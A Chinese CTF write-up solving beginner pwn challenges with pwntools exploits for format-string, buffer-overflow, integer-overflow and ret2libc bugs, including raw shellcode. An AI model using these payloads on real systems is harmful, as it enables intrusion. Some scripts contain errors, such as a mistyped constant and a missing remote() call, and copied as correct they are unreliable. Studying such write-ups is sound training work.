攻防世界新手練習題_PWN(漏洞利用)
0x00 get_shell
nc 連接得到flag
0x01 CGfsb
首先檢查保護

在進IDA f5,發現將pwnme=8即可得到flag。
漏洞點:格式化字符漏洞,printf()函數使用不當,造成任意內存讀寫

查看pwnme地址如下,發現它是bss字段定義的全局變量

nc連接輸入信息為aaaa加很多個控制字符發現pwnme的偏移量為10

pwnme地址本身占4個字節再加上4個字符使pwnme==8,得到flag。
exp:
from pwn import * #p=remote('111.198.29.45',38899) p=process('./cgfsb') pwnme_addr=0x0804a068 payload=p32(pwnme_addr)+'aaaa%10$n' p.recvuntil('please tell me your name:\n') p.sendline('aaaaaaa') p.recvuntil('leave your message please:\n') p.sendline(payload) print p.recv() print p.recv()
0x02 when_did_you_born
首先查看保護

看到birth=1926就可以得到flag,但是過濾了1926,又發現gets()沒有對輸入檢查,可以造成溢出。一直填充到v5,使v5=1926即可得到flag.

分別雙擊v4,v5看到,v4為var_20,v5為var_18,相差了8個字符 ,所以構造payload= payload='a'*8+p64(0x786)

exp:
from pwn import * #p=process('./when_did_you_born') p=remote('111.198.29.45',47814) p.recvuntil("?") p.sendline("1925") p.recvuntil("?") payload='a'*8+p32(0x786) p.sendline(payload) p.interactive()
0x03 hello_pwn
老規矩,先查看文件保護,然后IDA打開

如果ift條件為真,進入sub_60106c就可得到flag。

進入unk_691968和dword_60106c偏移量為4,並且沒有大於read函數的范圍限制,所以我們構造payload=‘a'*4+p64(1853186401)就可以覆蓋dword_60106c使if為真。

exp:
from pwn import * p=process('./hello_pwn') p=('111.198.29.45',55581) payload = 'a'*4+p64(18533186401) p.recvuntil("bof") p.sendline(payload) p.interactive()
0x04 level0
檢查保護機制,拖進IDA

看到vulnerable_function()函數存在溢出, buf的長度為0x80,但是可以輸入0x200的長度。我們F12可以搜素到system和sh字符,得到系統函數的地址。所以我們構造payload在buf后面調用系統函數得到shell。r然后cat flag得到flag.

exp如下:
from pwn import * p=remote('111.198.29.45',55317) #p = process('./level0') sys_addr = 0x0400320 sh_addr = 0x0400596 payload = 'a'*0x80 +p64(sys_addr)+p64(sh_addr) p.recvuntil("Hello, World") p.sendline(payload) p.interactive()
0x05 level2
首先查看保護機制,IDA打開

發現溢出點buf,buf的長度為0x88,可輸入0x100的長度。通過ELF搜素system和/bin/sh地址,構造payload,得到shell。

exp:
#!/usr/bin/python # -*- coding: utf-8 -*- from pwn import * context.log_level='debug' elf=ELF('./level2') sys_addr=elf.symbols['system'] #獲取系統函數地址 sh_addr=elf.search('/bin/sh').next() #獲取'/bin/sh'字符串地址 payload= 'a'*(0x88+0x4)+p32(sys_addr)+p32(0x12333)+p32(sh_addr) pwn=remote('111.198.29.45',42668) #pwn = process('./level2') pwn.sendlineafter("Input:\n",payload) pwn.interactive() pwn.close()
0x06 string
首先檢查保護機制

拖進IDA,這道題字符是真滴多,先分析邏輯。根據提示一步一步往下走。看到sub_400CA6函數,只要a1[0]=a1[1]就符合要求,並且發現將V1一個void指針強制類型轉換成函數指針並調用了,所以我們將shellcode通過上面的read寫入就會得到shell。

一直跟回去發現a1[0]=65,a1[1]=85。
那現在目標明確了,找到漏洞點,在內存中將a1[0]值改為85就找到漏洞點在sub_400BB9的printf函數,格式化字符串漏洞。造成任意地址讀寫。

找到format的偏移量為7。構造payload = "%85d%7$n"。

exp:
from pwn import * p = remote('111.198.29.45',49698) #p = process('./string1') p.recvuntil("secret[0] is ") v3_addr=p.recvuntil("\n") v3_addr="0x"+v3_addr[:-1] v3_address = eval(v3_addr) p.recvuntil("What should your character's name be:") p.sendline('Adam') p.recvuntil('So, where you will go?east or up?:') p.sendline('east') p.recvuntil('go into there(1), or leave(0)?:') p.sendline('1') p.recvuntil('Give me an address') p.send(str(v3_address)+"\n") p.recvuntil("you wish is:\n") payload = "%85d%7$n" p.sendline(payload) #shellcode = asm(shellcraft.sh()) shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" p.recvuntil("Wizard: I will help you! USE YOU SPELL") p.sendline(shellcode) p.interactive()
0x07 guess_num
檢查保護

IDA打開,邏輯是十次輸入的數都要與隨機生成的數相等就運行sub_C3E()得到flag,所以我們想辦法修改隨機數種子,讓每次生成的數都一樣就可以了。

那么我們可以利用的是get函數,對輸入沒有限制,並且v7與seed的地址是連續的,所以直接覆蓋seed。查看V7的長度為32個字節,構造payload = 'a'*32+p64(1)。
exp:
from pwn import * from ctypes import * p = remote('111.198.29.45',36915) #p = process('./guess_num') p.recvuntil("Your name:") payload = 'a'*32+p64(1) p.sendline(payload) //使用ctypes庫調用libc.so.6來使用srand()和rand() libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') libc.srand(1) for i in range(10): a = str(libc.rand()%6+1) p.recvuntil('Please input your guess number:') p.sendline(a) p.interactive()
0x08 cgpwn2
首先檢查保護

IDA分析,看到main函數里gets()可以溢出,並且name是在bss上的全局變量。

找到system的地址為0x08048420。shift+F12找不到‘/bin/sh’,所以將name輸入/bin/sh,再次訪問name的值不會變,name的地址就作為sh的地址。現在需要找s的偏移量為38+4。構造payload=‘a'*(38+4)+p32(sys_addr)+p32(0x123122)+p32(sh_addr),第二個p32里隨便輸入。
exp:
from pwn import * p = remote('111.198.29.45',56035) #p = process('./cgpwn2') sys_addr = 0x08048420 sh_addr = 0x0804A080 payload = 'a'*(38+4)+p32(sys_addr)+p32(0x112233)+p32(sh_addr) p.recvuntil('please tell me your name') p.sendline('/bin/sh') p.recvuntil("hello,you can leave some message here:") p.sendline(payload) p.interactive()
0x09 int_overflow
首先檢查保護機制

拖進IDA,分析邏輯。發現check_passwd()中v3為int8型,在下面的check中也是檢查v3的長度,根據有題目名稱,想到v3的大小溢出,int8型最大值為2^8=256,超出之后進行模256的計算。

所以我們在輸入passwd的時候將輸入長度為 [259,263]之間就可以了,再利用后面的strcpy()函數,因為將s復制給dest,看到dest的偏移為0x14+0x04,再搜索sh函數得到sh地址,構造payload = 'a'*(0x14+0x4)+p32(sh_addr)。得到shell。
exp:
from pwn import * p = remote('111.198.29.45',39063) #p = process('./int_overflow') sh_addr = 0x0804868B p.recvuntil("Your choice:") p.sendline('1') p.recvuntil("Please input your username:") p.sendline('Adam') payload = 'a'*(0x14+0x4)+p32(sh_addr) payload = payload.ljust(263,'b') p.recvuntil('Please input your passwd:') p.sendline(payload) p.interactive()
0x10 level3
首先檢查保護機制

拖進IDA,很明顯的漏洞點,read溢出,但是找不到system,/bin/sh的地址。F12查看字符串。發現 libc start_main。

首先,利用找到write的真實地址,然后利用這個地址算出偏移量,這里貼個計算libc的工具。找到offest之后,就可以得到system的地址和bin/sh的地址了。
exp:
#-*-coding:utf-8-*- from pwn import * from LibcSearcher import * #p = process('./level3') p = remote('111.198.29.45',48981) elf = ELF('./level3') write_plt = elf.plt['write'] write_got = elf.got['write'] main_addr = elf.symbols['main'] payload = 'a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) p.recv() p.sendline(payload) write_addr = u32(p.recv(4)) libc = LibcSearcher('write',write_addr) offest = write_addr - libc.dump('write') sys_addr = offest + libc.dump('system') sh_addr = offest +libc.dump('str_bin_sh') payload2 = 'a'*(0x88+4)+p32(sys_addr)+p32(0x1231)+p32(sh_addr) p.recv() p.sendline(payload2) p.interactive()